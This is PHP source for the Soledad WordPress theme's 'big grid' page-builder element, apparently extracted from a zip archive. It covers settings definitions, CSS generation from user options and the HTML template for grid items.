						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_readmore',
				'heading'          => __( 'Read More Button', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Color', 'soledad' ),
				'param_name' => 'readmore_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Hover Color', 'soledad' ),
				'param_name' => 'readmore_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Color', 'soledad' ),
				'param_name' => 'bgreadmore_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Hover Color', 'soledad' ),
				'param_name' => 'bgreadmore_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background Color', 'soledad' ),
				'param_name' => 'bgreadmore_bgcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background Hover Color', 'soledad' ),
				'param_name' => 'bgreadmore_hbgcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Typography', 'soledad' ),
				'param_name' => 'bgreadm_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Borders Width', 'soledad' ),
				'param_name'       => 'bgreadmore_borderwidth',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Borders Radius', 'soledad' ),
				'param_name'       => 'bgreadmore_borderradius',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Padding', 'soledad' ),
				'param_name'       => 'bgreadmore_padding',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'       => 'penci_switch',
				'heading'    => __( 'Add Icon to "Read More" Button', 'soledad' ),
				'param_name' => 'add_icon_readmore',
				'group'      => $group_color,
			),

			array(
				'type'             => 'iconpicker',
				'heading'          => __( 'Add Icon to "Read More" Button', 'soledad' ),
				'param_name'       => 'readmore_icon',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),

			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Icon position', 'soledad' ),
				'param_name'       => 'readmore_icon_pos',
				'group'            => $group_color,
				'value'            => array(
					'Right' => 'right',
					'Left'  => 'left',
				),
				'edit_field_class' => 'vc_col-sm-6',
			),

			array(
				'type'             => 'textfield',
				'param_name'       => 'penci_separator_pagenavi',
				'heading'          => __( 'Page Navigation', 'soledad' ),
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),

			array(
				'type'       => 'penci_only_number',
				'heading'    => __( 'Load More Posts Button Max Width', 'soledad' ),
				'param_name' => 'pagi_mwidth',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Color', 'soledad' ),
				'param_name' => 'pagi_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Text Hove & Active Color', 'soledad' ),
				'param_name' => 'pagi_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Color', 'soledad' ),
				'param_name' => 'bgpagi_color',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Border Hove & Active Color', 'soledad' ),
				'param_name' => 'bgpagi_hcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Background Color', 'soledad' ),
				'param_name' => 'bgpagi_bgcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'colorpicker',
				'heading'    => __( 'Hove & Active Background Color', 'soledad' ),
				'param_name' => 'bgpagi_hbgcolor',
				'group'      => $group_color,
			),

			array(
				'type'       => 'font_container',
				'heading'    => __( 'Typography', 'soledad' ),
				'param_name' => 'bgpagi_typo',
				'value'      => '',
				'group'      => $group_color,
				'settings'   => array(
					'fields' => array(
						//'tag'                     => 'h2',
						'text_align',
						'font_size',
						'line_height',
						'color',
						'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
						'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
						'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
						'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
						'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
					),
				),
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Borders Width', 'soledad' ),
				'param_name'       => 'bgreadmore_borderwidth',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Borders Radius', 'soledad' ),
				'param_name'       => 'bgreadmore_borderradius',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

			array(
				'type'             => 'penci_only_number',
				'heading'          => __( 'Padding', 'soledad' ),
				'param_name'       => 'bgpagi_padding',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-4',
			),

		), Penci_Vc_Params_Helper::params_heading_filter(), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), Penci_Vc_Params_Helper::extra_params(),Penci_Vc_Params_Helper::params_bookmark_icon() )
) );
PK     0w\:*  *  '  js_composer/shortcodes/big_grid/css.phpnu [        <?php
$css = '';
$id  = '#' . esc_attr( $block_id );
$id2  = 'body:not(.pcdm-enable) #' . esc_attr( $block_id );

$css .= Penci_Vc_Helper::get_heading_block_css( $id, $atts );
$css .= Penci_Vc_Helper::get_heading_block_filter_css( $id, $atts );

if ( $bg_gap ) {
	$css .= $id . '.penci-bgstyle-1 .penci-dflex{margin-left: calc(-' . $bg_gap . 'px/2); margin-right: calc(-' . $bg_gap . 'px/2); width: calc(100% + ' . $bg_gap . 'px);}';
	$css .= $id . '.penci-bgstyle-2 .item-masonry, ' . $id . ' .penci-bgstyle-1 .penci-bgitem{padding-left: calc(' . $bg_gap . 'px/2); padding-right: calc(' . $bg_gap . 'px/2); margin-bottom: {' . $bg_gap . 'px}';
	$css .= $id . '.penci-bgstyle-2 .penci-biggrid-data{margin-left: calc(-' . $bg_gap . 'px/2); margin-right: calc(-' . $bg_gap . 'px/2);}';
}

if ( $bg_othergap ) {
	$css .= $id . ' .penci-biggrid{ --pcgap: ' . $bg_othergap . 'px; }';
}

if ( $penci_img_ratio ) {
	$css .= $id . ' .penci-bgitem .penci-image-holder:before{padding-top: ' . $penci_img_ratio . '%;}';
}

if ( $bg_height ) {
	$css .= $id . ' .penci-biggrid .penci-fixh{--bgh: ' . $bg_height . 'px;}';
}

if ( $paging_matop ) {
	$css .= $id . ' .penci-pagination{margin-top: ' . $paging_matop . 'px}';
}

if ( $content_horizontal_position ) {
	$content_horizontal_position_prop = array(
		'left'   => 'margin-right: auto',
		'center' => 'margin-left: auto; margin-right: auto;',
		'right'  => 'margin-left: auto',
	);
	$css                              .= $id . ' .pcbg-content-inner:{' . $content_horizontal_position_prop[ $content_horizontal_position ] . '}';
}

if ( $content_vertical_position ) {
	$content_vertical_position_prop = array(
		'top'    => 'flex-start',
		'middle' => 'center',
		'bottom' => 'flex-end',
	);
	$css                            .= $id . ' .pcbg-content-flex{' . $content_vertical_position_prop[ $content_vertical_position ] . '}';
}

if ( $content_text_align ) {
	$css .= $id . ' .pcbg-content-flex{text-align: ' . $content_text_align . '}';
}

if ( $content_width ) {
	$css .= $id . ' .pcbg-content-inner{max-width: ' . $content_width . '}';
}

if ( $content_padding ) {
	$css .= $id . ' .pcbg-content-inner{padding: ' . $content_padding . '}';
}

if ( $content_margin ) {
	$css .= $id . ' .pcbg-content-inner{margin: ' . $content_margin . '}';
}

if ( $overlay_opacity ) {
	$css .= $id . ' .penci-bgmain:hover .pcbg-bgoverlay.active-overlay{opacity: calc( ' . $overlay_opacity . '/100 )}';
	$css .= $id . ' .penci-bgmain:hover .pcbg-bgoverlaytext.active-overlay{opacity: calc( ' . $overlay_opacity . '/100 )}';
}

if ( $spe_bg_subtitle ) {
	$css .= $id2 . ' .penci-bgrid-based-post .cat > a.penci-cat-name{background-color: ' . $spe_bg_subtitle . ';}';
	$css .= $id2 . ' .penci-bgrid-based-custom .pcbg-sub-title{background-color: ' . $spe_bg_subtitle . '; border-color: ' . $spe_bg_subtitle . ';}';
}

if ( $spe_bg_hsubtitle ) {
	$css .= $id2 . ' .penci-bgrid-based-post .penci-bgitem:hover .cat > a.penci-cat-name{background-color: ' . $spe_bg_hsubtitle . ';}';
	$css .= $id2 . ' .penci-bgrid-based-custom .penci-bgitem:hover .pcbg-sub-title{background-color: ' . $spe_bg_hsubtitle . '; border-color: ' . $spe_bg_hsubtitle . ';}';
}

if ( $spe_bg_title ) {
	$css .= $id2 . ' .pcbg-title{background-color: ' . $spe_bg_title . '; border-color: ' . $spe_bg_title . ';}';
}

if ( $spe_bg_htitle ) {
	$css .= $id2 . ' .penci-bgitem:hover .pcbg-title{background-color: ' . $spe_bg_htitle . '; border-color: ' . $spe_bg_htitle . ';}';
}

if ( $spe_bg_meta ) {
	$css .= $id2 . ' .pcbg-meta-desc{background-color: ' . $spe_bg_meta . '; border-color: ' . $spe_bg_meta . ';}';
}

if ( $spe_bg_hmeta ) {
	$css .= $id2 . ' .penci-bgitem:hover .pcbg-meta-desc{background-color: ' . $spe_bg_hmeta . '; border-color: ' . $spe_bg_hmeta . ';}';
}

if ( $bgitem_bg ) {
	$css .= $id2 . ' .penci-biggrid .penci-bgitin{background-color: ' . $bgitem_bg . ';}';
}

if ( $bgitem_borders ) {
	$css .= $id2 . ' .penci-biggrid .penci-bgitin{border: 1px solid ' . $bgitem_borders . ';}';
}

if ( $bgitem_borderwidth ) {
	$css .= penci_extract_md_responsive_fsize( $id . ' .penci-biggrid .penci-bgitin{border-width:{{VALUE}}px;}', $bgitem_borderwidth );
}

if ( $bgitem_padding ) {
	$css .= $id . ' .penci-biggrid .penci-bgitin{padding: ' . $bgitem_padding . ';}';
}

if ( $bgsub_title ) {
	$css .= $id2 . ' .penci-bgrid-based-custom .pcbg-content-inner .pcbg-above{color: ' . $bgsub_title . ';}';
	$css .= $id2 . ' .pcbg-content-inner .pcbg-above span{color: ' . $bgsub_title . ';}';
	$css .= $id2 . ' .pcbg-content-inner .pcbg-above span a{color: ' . $bgsub_title . ';}';
}

if ( $bgsub_title_hover ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-above a:hover{color: ' . $bgsub_title_hover . ';}';
}

if ( $bgtitle_color ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-title a,' . $id . ' .pcbg-content-inner .pcbg-title{color: ' . $bgtitle_color . ';}';
}

if ( $bgtitle_color_hover ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-title a:hover{color: ' . $bgtitle_color_hover . ';}';
}

if ( $bgdesc_color ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-meta{color: ' . $bgdesc_color . ';}';
	$css .= $id2 . ' .pcbg-content-inner .pcbg-meta span{color: ' . $bgdesc_color . ';}';
}

if ( $bgdesc_link_color ) {
	$css .= $id2 . ' .pcbg-content-inner .pcbg-meta a{color: ' . $bgdesc_link_color . ';}';
	$css .= $id2 . ' .pcbg-content-inner .pcbg-meta span a{color: ' . $bgdesc_link_color . ';}';
}

if ( $bgdesc_link_hcolor ) {
	$css .= $id . ' .pcbg-content-inner .pcbg-meta a:hover{color: ' . $bgdesc_link_hcolor . ';}';
	$css .= $id . ' .pcbg-content-inner .pcbg-meta span a:hover{color: ' . $bgdesc_link_hcolor . ';}';
}

if ( $readmore_color ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{color: ' . $readmore_color . ';}';
}

if ( $readmore_hcolor ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{color: ' . $readmore_hcolor . ';}';
}

if ( $bgreadmore_color ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{border: 1px solid ' . $bgreadmore_color . ';}';
}

if ( $bgreadmore_hcolor ) {
	$css .= $id2 . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{border-color: ' . $bgreadmore_hcolor . ';}';
}

if ( $bgreadmore_bgcolor ) {
	$css .= $id2 . ' .pcbg-readmore-sec .pcbg-readmorebtn{background-color: ' . $bgreadmore_bgcolor . ';}';
}

if ( $bgreadmore_hbgcolor ) {
	$css .= $id2 . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{background-color: ' . $bgreadmore_hbgcolor . ';}';
}

if ( $bgreadmore_borderwidth ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{border-width: ' . $bgreadmore_borderwidth . ';}';
}

if ( $bgreadmore_borderradius ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{border-radius: ' . $bgreadmore_borderwidth . ';}';
}

if ( $bgreadmore_padding ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{padding: ' . $bgreadmore_padding . ';}';
}

if ( $pagi_mwidth ) {
	$css .= $id . ' .penci-pagination.penci-ajax-more a.penci-ajax-more-button{max-width: ' . $pagi_mwidth . ';}';
}

if ( $pagi_color ) {
	$css .= $id2 . ' .penci-pagination a{color: ' . $pagi_color . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a{color: ' . $pagi_color . ';}';
}

if ( $pagi_hcolor ) {
	$css .= $id2 . ' .penci-pagination a:hover{color: ' . $pagi_hcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a:hover{color: ' . $pagi_hcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li span.current{color: ' . $pagi_hcolor . ';}';
}

if ( $bgpagi_color ) {
	$css .= $id2 . ' .penci-pagination a{border-color: ' . $bgpagi_color . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a{border-color: ' . $bgpagi_color . ';}';
}

if ( $bgpagi_hcolor ) {
	$css .= $id2 . ' .penci-pagination a:hover{border-color: ' . $bgpagi_hcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a:hover{border-color: ' . $bgpagi_hcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li span.current{border-color: ' . $bgpagi_hcolor . ';}';
}

if ( $bgpagi_bgcolor ) {
	$css .= $id2 . ' .penci-pagination a{background-color: ' . $bgpagi_bgcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a{background-color: ' . $bgpagi_bgcolor . ';}';
}

if ( $bgpagi_hbgcolor ) {
	$css .= $id2 . ' .penci-pagination a:hover{background-color: ' . $bgpagi_hbgcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li a:hover{background-color: ' . $bgpagi_hbgcolor . ';}';
	$css .= $id2 . ' .penci-pagination ul.page-numbers li span.current{background-color: ' . $bgpagi_hbgcolor . ';}';
}

if ( $bgpagi_borderwidth ) {
	$css .= $id . ' ul.page-numbers li a{border-width: ' . $bgpagi_borderwidth . ';}';
	$css .= $id . ' ul.page-numbers span.current{border-width: ' . $bgpagi_borderwidth . ';}';
	$css .= $id . ' .penci-pagination a{border-width: ' . $bgpagi_borderwidth . ';}';
}

if ( $bgpagi_borderradius ) {
	$css .= $id . ' ul.page-numbers li a{border-radius: ' . $bgpagi_borderradius . ';}';
	$css .= $id . ' ul.page-numbers span.current{border-radius: ' . $bgpagi_borderradius . ';}';
	$css .= $id . ' .penci-pagination a{border-radius: ' . $bgpagi_borderradius . ';}';
}

if ( $bgpagi_padding ) {
	$css .= $id . ' ul.page-numbers li a{padding: ' . $bgpagi_padding . ';}';
	$css .= $id . ' ul.page-numbers span.current{padding: ' . $bgpagi_padding . ';}';
	$css .= $id . ' .penci-pagination a{padding: ' . $bgpagi_padding . ';}';
}


if ( $bgsub_title_typo ) {
	$css .= $id . ' .penci-bgrid-based-custom .pcbg-content-inner .pcbg-above, ' . $id . ' .pcbg-content-inner .pcbg-above span,' . $id . ' .pcbg-content-inner .pcbg-above span a{' . penci_soledad_vc_extract_font_prop( $bgsub_title_typo ) . '}';
}

if ( $bgtitle_typo_big ) {
	$css .= $id . ' .pcbg-big-item .pcbg-content-inner .pcbg-title,' . $id . ' .pcbg-big-item .pcbg-content-inner .pcbg-title a{' . penci_soledad_vc_extract_font_prop( $bgtitle_typo_big ) . '}';
}

if ( $bgtitle_typo ) {
	$css .= $id . ' .pcbg-content-inner .pcbg-title,' . $id . ' .pcbg-content-inner .pcbg-title a{' . penci_soledad_vc_extract_font_prop( $bgtitle_typo ) . '}';
}

if ( $title_typo ) {
	$css .= $id . ' .pcbg-content-inner .pcbg-meta,' . $id . ' .pcbg-content-inner .pcbg-meta span, ' . $id . ' .pcbg-content-inner .pcbg-meta a{' . penci_soledad_vc_extract_font_prop( $title_typo ) . '}';
}

if ( $bgreadm_typo ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{' . penci_soledad_vc_extract_font_prop( $bgreadm_typo ) . '}';
}

if ( $bgreadm_typo ) {
	$css .= $id . ' .pcbg-readmore-sec .pcbg-readmorebtn{' . penci_soledad_vc_extract_font_prop( $bgreadm_typo ) . '}';
}

if ( $bgpagi_typo ) {
	$css .= $id . ' .penci-pagination a, ' . $id . ' .penci-pagination span.current{' . penci_soledad_vc_extract_font_prop( $bgpagi_typo ) . '}';
}
if ( $responsive_spacing ) {
	$css .= penci_extract_spacing_style( $id, $responsive_spacing );
}

$css .= Penci_Vc_Helper::get_bookmark_icon_css( $id, $atts );

if ( $css ) {
	echo '<style id="penci-vc_big_grid_custom_css">';
	echo $css;
	echo '</style>';
}
PK     0w\JK  K  *  js_composer/shortcodes/big_grid/custom.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
					echo $title_external . $title_nofollow . $title_attr; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                    <div <?php echo penci_layout_bg( $image_url, ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
						echo ' style="padding-bottom: ' . $image_ratio . '%"';
					} ?>>
						<?php echo penci_layout_img( $image_url, $title, ! $disable_lazy ); ?>
                    </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
					echo $title_external . $title_nofollow . $title_attr; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
						echo $title_external . $title_nofollow . $title_attr; ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $sub_title ) : ?>
                            <div class="pcbg-above item-hover">
                                <div class="pcbg-sub-title"><?php echo $sub_title; ?></div>
                            </div>
						<?php endif; ?>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
										<?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }
									echo $title_external . $title_nofollow . $title_attr; ?>><?php if ( ! $title_length ) {
											echo $title;
										} else {
											echo wp_trim_words( wp_strip_all_tags( $title ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( $desc ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo $desc; ?></div>
                            </div>
						<?php } ?>

						<?php if ( $button_text ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a <?php if ( $button_link ){ ?>href="<?php echo esc_url( $button_link ); ?>"<?php }
								echo $button_external . $button_nofollow . $button_attr; ?>
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo $button_text; ?></span>
									<?php if ( $readmore_icon ):
										vc_icon_element_fonts_enqueue( 'fontawesome' );
										if ( $readmore_icon ) {
											$icon .= '<i class="penci-cup_iconn--i ' . $readmore_icon . '"></i>';
											echo $icon;
										}
									endif; ?>
                                </a>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<?php
$child_css = '';

if ( isset( $setting['horizontal_position'] ) ) {
	$setting_child = $setting['horizontal_position'];
	$data_extract  = array(
		'left'   => 'margin-right: auto',
		'center' => 'margin-left: auto; margin-right: auto;',
		'right'  => 'margin-left: auto',
	);
	$child_css     .= $block_id . ' ' . $item_id . ' .pcbg-content-inner{' . $data_extract[ $setting_child ] . '}';
}

if ( isset( $setting['vertical_position'] ) ) {
	$setting_child = $setting['vertical_position'];
	$data_extract  = array(
		'top'    => 'flex-start',
		'middle' => 'center',
		'bottom' => 'flex-end',
	);
	$child_css     .= $block_id . ' ' . $item_id . ' .pcbg-content-flex{align-items:' . $data_extract[ $setting_child ] . '}';
}

if ( isset( $setting['text_align'] ) ) {
	$setting_child = $setting['text_align'];
	$data_extract  = array(
		'top'    => 'flex-start',
		'middle' => 'center',
		'bottom' => 'flex-end',
	);
	$child_css     .= $block_id . ' ' . $item_id . ' .pcbg-content-flex{text-align:' . $data_extract[ $setting_child ] . '}';
}

if ( isset( $setting['subtitle_color'] ) ) {
	$child_css .= $block_id . ' .penci-bgrid-based-custom ' . $item_id . ' .pcbg-content-inner .pcbg-above{color: ' . $setting['subtitle_color'] . '}';
	$child_css .= $block_id . ' .penci-bgrid-based-custom ' . $item_id . ' .pcbg-content-inner .pcbg-above span{color: ' . $setting['subtitle_color'] . '}';
	$child_css .= $block_id . ' .penci-bgrid-based-custom ' . $item_id . ' .pcbg-content-inner .pcbg-above a{color: ' . $setting['subtitle_color'] . '}';
}

if ( isset( $setting['title_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-title{color: ' . $setting['title_color'] . '}';
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-title a{color: ' . $setting['title_color'] . '}';
}

if ( isset( $setting['title_hcolor'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-title a:hover{color: ' . $setting['title_hcolor'] . '}';
}

if ( isset( $setting['desc_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-meta{color: ' . $setting['desc_color'] . '}';
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner .pcbg-meta a{color: ' . $setting['desc_color'] . '}';
}

if ( isset( $setting['button_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn{color: ' . $setting['button_color'] . '}';
}

if ( isset( $setting['button_hcolor'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{color: ' . $setting['button_hcolor'] . '}';
}

if ( isset( $setting['button_border_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn{border-color: ' . $setting['button_border_color'] . '}';
}

if ( isset( $setting['button_border_hcolor'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{border-color: ' . $setting['button_border_hcolor'] . '}';
}

if ( isset( $setting['button_bg_color'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn{background-color: ' . $setting['button_bg_color'] . '}';
}

if ( isset( $setting['button_bg_hcolor'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-readmore-sec .pcbg-readmorebtn:hover{background-color: ' . $setting['button_bg_hcolor'] . '}';
}

if ( isset( $setting['bgoverlay_padding'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner{padding: ' . $setting['bgoverlay_padding'] . '}';
}

if ( isset( $setting['bgoverlay_margin'] ) ) {
	$child_css .= $block_id . ' ' . $item_id . ' .pcbg-content-inner{margin: ' . $setting['bgoverlay_margin'] . '}';
}

if ( $child_css ) {
	echo '<style>';
	echo $child_css;
	echo '</style>';
}
PK     0w\m`N  N  ,  js_composer/shortcodes/big_grid/frontend.phpnu [        <?php
$output           = $penci_block_width = $el_class = $css_animation = $css = $bgquery_type = $bg_columns = $bg_columns_mobile = '';
$title_anivisi    = $apply_spe_bg_subtitle = $apply_spe_bg_title = $apply_spe_bg_meta = $hide_subtitle_mobile = $hide_desc_mobile = $hide_readmore_mobile = '';
$bg_postmeta      = $primary_cat = $show_readmore = $hide_cat_small = $hide_meta_small = $hide_rm_small = $show_formaticon = $show_reviewpie = $paging = $paging_align = $is_big_item = $post_meta = $hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = '';
$title_external   = $title_nofollow = $title_attr = $image_ratio = $item_id = $button_external = $button_nofollow = $button_attr = $button_text = $button_link = $sub_title = $desc = $biggrid_items = '';
$bg_gap           = $bg_othergap = $bg_height = $paging_matop = $content_horizontal_position = $content_vertical_position = $content_text_align = $content_padding = $content_margin = $overlay_opacity = $spe_bg_subtitle = $spe_bg_hsubtitle = $spe_bg_title = $spe_bg_htitle = $spe_bg_meta = $spe_bg_hmeta = $bgitem_bg = $bgitem_borders = $bgitem_borderwidth = $bgitem_padding = $bgsub_title = $bgsub_title_hover = $bgtitle_color = $bgtitle_color_hover = $bgdesc_color = $bgdesc_link_color = $bgdesc_link_hcolor = $readmore_color = $readmore_hcolor = $bgreadmore_color = $bgreadmore_hcolor = $bgreadmore_bgcolor = $bgreadmore_hbgcolor = $bgreadmore_borderwidth = $bgreadmore_borderradius = $bgreadmore_padding = $pagi_mwidth = $pagi_color = '';
$pagi_hcolor      = $bgtitle_typo_big = $bgpagi_color = $bgpagi_hcolor = $bgpagi_bgcolor = $bgpagi_hbgcolor = $bgpagi_borderwidth = $bgpagi_borderradius = $bgpagi_padding = '';
$bgsub_title_typo = $bgtitle_typo = $title_typo = $bgreadm_typo = $bgpagi_typo = $responsive_spacing = '';
$cspost_enable    = $cspost_cpost_meta = $cspost_cpost_acf_meta = $cspost_cpost_meta_label = $cspost_cpost_meta_divider = '';
$atts             = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

// get data from settings
$biggid_type  = $bgquery_type ? $bgquery_type : 'post';
$biggid_style = $style ? $style : 'style-1';
if ( isset( $_GET['bgstyle'] ) ) {
	$biggid_style = esc_attr( $_GET['bgstyle'] );
}
$overlay_type      = $overlay_type ? $overlay_type : 'whole';
$bgcontent_pos     = $bgcontent_pos ? $bgcontent_pos : 'on';
$content_display   = $content_display ? $content_display : 'block';
$disable_lazy      = $disable_lazy ? $disable_lazy : '';
$image_hover       = $image_hover ? $image_hover : 'zoom-in';
$text_overlay      = $text_overlay ? $text_overlay : 'none';
$text_overlay_ani  = $text_overlay_ani ? $text_overlay_ani : 'movetop';
$onecol_mobile     = $onecol_mobile ? $onecol_mobile : '';
$sameh_mobile      = $sameh_mobile ? $sameh_mobile : '';
$thumb_size        = $thumb_size ? $thumb_size : 'penci-masonry-thumb';
$bthumb_size       = $bthumb_size ? $bthumb_size : 'penci-full-thumb';
$mthumb_size       = $mthumb_size ? $mthumb_size : 'penci-masonry-thumb';
$title_length      = $title_length ? $title_length : '';
$readmore_icon     = $readmore_icon ? $readmore_icon : '';
$readmore_icon_pos = $readmore_icon_pos ? $readmore_icon_pos : 'right';
$formaticon_pos    = $formaticon_pos ? $formaticon_pos : 'top-right';
$reviewpie_pos     = $reviewpie_pos ? $reviewpie_pos : 'top-left';

$wrapper_class   = $data_class = '';
$flag_style      = false;
$clear_fix_class = 'penci-clearfix ';
if ( in_array( $biggid_style, array( 'style-1' ) ) ) {
	$data_class .= ' penci-dflex';
} else {
	$data_class .= ' penci-dblock';
}

if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
	$flag_style    = true;
